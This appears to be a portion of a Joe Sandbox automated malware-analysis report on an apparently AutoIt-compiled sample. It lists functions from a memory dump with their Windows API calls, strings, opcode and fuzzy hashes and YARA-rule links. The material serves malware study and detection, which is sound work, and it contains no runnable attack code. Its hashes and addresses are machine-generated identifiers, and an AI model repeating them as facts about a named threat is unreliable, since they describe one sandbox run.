Opcode Fuzzy Hash: 450b8276e2582d2e6779189b27026ac4ccecfec7a4ba9d42f5d70f3335e50812
Instruction Fuzzy Hash: 5F61DE712082429FD320DF19C894F16BBE5AF45318F14849CE46A9B7A3C776EC85CF92

Function 00973886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00973925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0097393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00973954
_wcslen.LIBCMT ref: 00973999
SendMessageW.USER32(?,00001057,00000000,?), ref: 009739C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 009739F4

Strings

SysListView32, xrefs: 009738F7

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 4091f6cf11f61ddf7261f932291889a28397767dffac913df9eeed94e361f676
Instruction ID: 1d0878cbe4f299e479d267f78d83fe3d328364b0417873eb37236effa4003adb
Opcode Fuzzy Hash: 4091f6cf11f61ddf7261f932291889a28397767dffac913df9eeed94e361f676
Instruction Fuzzy Hash: 4841B472A00219ABDF219F64CC45BEA77A9FF48354F10852AF95CE7281D7719E80DB90

Function 0094BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0094BCFD
IsMenu.USER32(00000000), ref: 0094BD1D
CreatePopupMenu.USER32 ref: 0094BD53
GetMenuItemCount.USER32(011E5668), ref: 0094BDA4
InsertMenuItemW.USER32(011E5668,?,00000001,00000030), ref: 0094BDCC

Strings

0, xrefs: 0094BCA8
2, xrefs: 0094BD37

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 28759877611d31fc32ea5161e87d57ce488fbd919cec623aea0caf94c78ba1d6
Instruction ID: ba3007f53e2314ba00246971bbba066a74d716c06cb4f94aba6ba1f38f157c76
Opcode Fuzzy Hash: 28759877611d31fc32ea5161e87d57ce488fbd919cec623aea0caf94c78ba1d6
Instruction Fuzzy Hash: 4451ADB0A042059BDF20CFA8D8C4FAEBBF8BF85314F144699E5559B2D0D770D945CB61

Function 0094C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0094C913

Strings

question, xrefs: 0094C8CC
warning, xrefs: 0094C8FC
blank, xrefs: 0094C895
stop, xrefs: 0094C8E4
info, xrefs: 0094C8B4

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 753bc65ed854f73e721313474e12a26681213012a52e47c654dff5d20d71290b
Instruction ID: 046ae63edffb9cf5bd845eb527c79688382a1b9dfa0e7f07c4c2fb872752b632
Opcode Fuzzy Hash: 753bc65ed854f73e721313474e12a26681213012a52e47c654dff5d20d71290b
Instruction Fuzzy Hash: 651150B279A306BEE7046B14DD83DAE379CDF56318B10002EF500A62C2EB745E4053A4

Function 0094ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0094ED2A
_wcslen.LIBCMT ref: 0094ED3B
_wcslen.LIBCMT ref: 0094ED79
_wcslen.LIBCMT ref: 0094EDAF
_wcslen.LIBCMT ref: 0094EDDF
_wcslen.LIBCMT ref: 0094EDEF
_wcslen.LIBCMT ref: 0094EE2B
_wcslen.LIBCMT ref: 0094EE5A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 7c6516406858d943af740aa2782672d971007d286c1319abf17347d5b88b7bac
Instruction ID: 179d6086bdef115768d8ad02057f888e7a71903bd8d0b43763bc46c4571a934d
Opcode Fuzzy Hash: 7c6516406858d943af740aa2782672d971007d286c1319abf17347d5b88b7bac
Instruction Fuzzy Hash: 76419565C10118B9CB11EBF8C88AECFB7ACAF85710F508462F524E31A1FB34E255C7A5

Function 008FF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0093682C,00000004,00000000,00000000), ref: 008FF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0093682C,00000004,00000000,00000000), ref: 0093F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0093682C,00000004,00000000,00000000), ref: 0093F454

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 2a6223a158e03736168a09776d9157aa11085c0286079fae7b8a3ac17a56ff58
Instruction ID: 1ba65263f02dc769313b668341015d68cf7a71e19209ae0725908dd7f89dce2f
Opcode Fuzzy Hash: 2a6223a158e03736168a09776d9157aa11085c0286079fae7b8a3ac17a56ff58
Instruction Fuzzy Hash: 7D412831718688BAC7388B39899C73A7F95FF56314F54443CE38BD2672D6B2A880DB11

Function 00972D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00972D1B
GetDC.USER32(00000000), ref: 00972D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00972D2E
ReleaseDC.USER32(00000000,00000000), ref: 00972D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00972D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00972D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00975A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00972DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00972DE1

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 20f5b33ff54f85bccb53dda1c6c3049bd072cbc94ed5660906f070a1765979f5
Instruction ID: a788378a3a4594d6f91e43b24cc000862beed55d3b20706040d133286b87aaca
Opcode Fuzzy Hash: 20f5b33ff54f85bccb53dda1c6c3049bd072cbc94ed5660906f070a1765979f5
Instruction Fuzzy Hash: 8B317F72215214BFEB214F50CC89FEB3BADEF09715F044059FE0C9A291D6759C90C7A4

Function 00945622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00945637
_memcmp.LIBVCRUNTIME ref: 00945659
_memcmp.LIBVCRUNTIME ref: 00945671
_memcmp.LIBVCRUNTIME ref: 00945684
_memcmp.LIBVCRUNTIME ref: 0094569E
_memcmp.LIBVCRUNTIME ref: 009456B1
_memcmp.LIBVCRUNTIME ref: 009456C9
_memcmp.LIBVCRUNTIME ref: 009456E4

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 151ac64215b54bd698233d230dbad1fe8c7919e5e1804dfb82bdbbcab58f45f6
Instruction ID: bd64fa21f1438fefc0509db32ba4cdffd49c168e15fe990b3c2c7d03085d6bf7
Opcode Fuzzy Hash: 151ac64215b54bd698233d230dbad1fe8c7919e5e1804dfb82bdbbcab58f45f6
Instruction Fuzzy Hash: EA21C672640A097BD61956608E92FFA339CBFA1788F564030FD08AA683F725ED11C5A9

Function 00964FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 0096502E, 00965383
Not an Object type, xrefs: 00965007

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: fac05549371aa7c47a953d7b04cbd46fc9ee8efaf0de7dbc07697b9529af0b01
Instruction ID: 36aa3f599022bb9879afecbc62a5d84ac0b86a8355c7057b9fdbe3ed28537f72
Opcode Fuzzy Hash: fac05549371aa7c47a953d7b04cbd46fc9ee8efaf0de7dbc07697b9529af0b01
Instruction Fuzzy Hash: F1D1A471A0060AAFDF10CF98C891FAEB7B9FF88344F168469E915AB281E771DD45CB50

Function 00921522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,009217FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 009215CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,009217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00921651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,009217FB,?,009217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 009216E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,009217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 009216FB

Part of subcall function 00913820: RtlAllocateHeap.NTDLL(00000000,?,009B1444,?,008FFDF5,?,?,008EA976,00000010,009B1440,008E13FC,?,008E13C6,?,008E1129), ref: 00913852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,009217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00921777
__freea.LIBCMT ref: 009217A2
__freea.LIBCMT ref: 009217AE

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: f7ac8114283f27a69f59172d3fd30e957df2fbe72829345ba5f037ac5c4042bb
Instruction ID: e215617854fcbb395f20b45de2674414e2bb13b04f77c8e707a7c0c34ab2e5ba
Opcode Fuzzy Hash: f7ac8114283f27a69f59172d3fd30e957df2fbe72829345ba5f037ac5c4042bb
Instruction Fuzzy Hash: 6091D672E002269EDF208E74E841EEE7BBD9FA5310F184569F805E7149D735CD90CBA0

Function 00964523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00964648
VariantInit.OLEAUT32(?), ref: 00964749
VariantClear.OLEAUT32(?), ref: 00964753
VariantClear.OLEAUT32(?), ref: 009647B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0096472C
Null Object assignment in FOR..IN loop, xrefs: 009645D8, 00964706, 009647BE

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: b1616659cb903e68955c8be910ad1287b7e79afcd4f4d09c2414a603bfd07fb9
Instruction ID: b673fc7c8a87323104c8f1637fe6281ea626306de1b5a1c17b21b0294b4c4b10
Opcode Fuzzy Hash: b1616659cb903e68955c8be910ad1287b7e79afcd4f4d09c2414a603bfd07fb9
Instruction Fuzzy Hash: 61917971A00219AFDF20CFA5CC89FAEBBB8EF86714F108559F515AB280D7709945CFA0

Function 00951187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 0095125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00951284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 009512A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 009512D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 0095135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 009513C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00951430

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: a97d3b15ecf7799d69454154d3460b65255689640482ef77e85c6011012a4da6
Instruction ID: bcd6e447ebadeff758e0525122711eeb6a971a84a24338d0013d19078bce2e3b
Opcode Fuzzy Hash: a97d3b15ecf7799d69454154d3460b65255689640482ef77e85c6011012a4da6
Instruction Fuzzy Hash: EE910871900209AFDB00DFAAC885BBE77B9FF45316F104429ED50E72A1D778E949CB51

Function 008F948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 66f41d18b10aece1586a59e42402bf78ab60308681f0b4e375490f4680313cbf
Instruction ID: 7074044fe9b12928a1bc6b6b7b8b528f3f1c4c1abae41bb1d70950263cfcc530
Opcode Fuzzy Hash: 66f41d18b10aece1586a59e42402bf78ab60308681f0b4e375490f4680313cbf
Instruction Fuzzy Hash: 9D911471904219AFCB14CFA9C884AEEBBB8FF49320F148459E655F7251D378A941DBA0

Function 00963947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0096396B
CharUpperBuffW.USER32(?,?), ref: 00963A7A
_wcslen.LIBCMT ref: 00963A8A
VariantClear.OLEAUT32(?), ref: 00963C1F

Part of subcall function 00950CDF: VariantInit.OLEAUT32(00000000), ref: 00950D1F
Part of subcall function 00950CDF: VariantCopy.OLEAUT32(?,?), ref: 00950D28
Part of subcall function 00950CDF: VariantClear.OLEAUT32(?), ref: 00950D34

Strings

Incorrect Parameter format, xrefs: 009639A6, 00963BA1
AUTOIT.ERROR, xrefs: 00963A80, 00963A85

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: adbd951bfa4920b879acd73885626cd5e68744ac7bea068c5cf4c6d6f6839ede
Instruction ID: 9cf141939b5013cdc6dc8a2cff1dc0c3e341ed1465bb191356f4f74ee8dd6c99
Opcode Fuzzy Hash: adbd951bfa4920b879acd73885626cd5e68744ac7bea068c5cf4c6d6f6839ede
Instruction Fuzzy Hash: 1A9175756083459FC714EF68C48192AB7E8FF89714F14882EF88A9B351DB30EE45CB82

Function 00964BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 0094000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0093FF41,80070057,?,?,?,0094035E), ref: 0094002B
Part of subcall function 0094000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0093FF41,80070057,?,?), ref: 00940046
Part of subcall function 0094000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0093FF41,80070057,?,?), ref: 00940054
Part of subcall function 0094000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0093FF41,80070057,?), ref: 00940064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00964C51
_wcslen.LIBCMT ref: 00964D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00964DCF
CoTaskMemFree.OLE32(?), ref: 00964DDA

Strings

NULL Pointer assignment, xrefs: 00964E23, 00964E52

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 6f9da9de1ed8db8b32f6d5e2625692e07bb0b1e8698285d201450b974019236c
Instruction ID: 4d9268a45281d0847e33837475b27b16341c4b8af4162a56bee6e92d83a6f08f
Opcode Fuzzy Hash: 6f9da9de1ed8db8b32f6d5e2625692e07bb0b1e8698285d201450b974019236c
Instruction Fuzzy Hash: 90912771D0021DAFDF15DFA4C891AEEB7B8FF48300F108169E919A7291DB34AA44CFA1

Function 009720FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00972183
GetMenuItemCount.USER32(00000000), ref: 009721B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 009721DD
_wcslen.LIBCMT ref: 00972213
GetMenuItemID.USER32(?,?), ref: 0097224D
GetSubMenu.USER32(?,?), ref: 0097225B

Part of subcall function 00943A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00943A57
Part of subcall function 00943A3D: GetCurrentThreadId.KERNEL32 ref: 00943A5E
Part of subcall function 00943A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009425B3), ref: 00943A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 009722E3

Part of subcall function 0094E97B: Sleep.KERNEL32 ref: 0094E9F3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 0b391d9757940cb1663b50f6c9f5814605156922343c80bdf45d879d319d0fc4
Instruction ID: 7814c9e585fc573b7beba8976516535b18f9f0ae3fdca31a7951d4b2666367a2
Opcode Fuzzy Hash: 0b391d9757940cb1663b50f6c9f5814605156922343c80bdf45d879d319d0fc4
Instruction Fuzzy Hash: CD71A276E14205AFCB14DF68C881AAEB7F5FF88310F148459E92AEB351DB34ED418B90

Function 0094AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0094AEF9
GetKeyboardState.USER32(?), ref: 0094AF0E
SetKeyboardState.USER32(?), ref: 0094AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 0094AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 0094AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 0094AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 0094B020

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
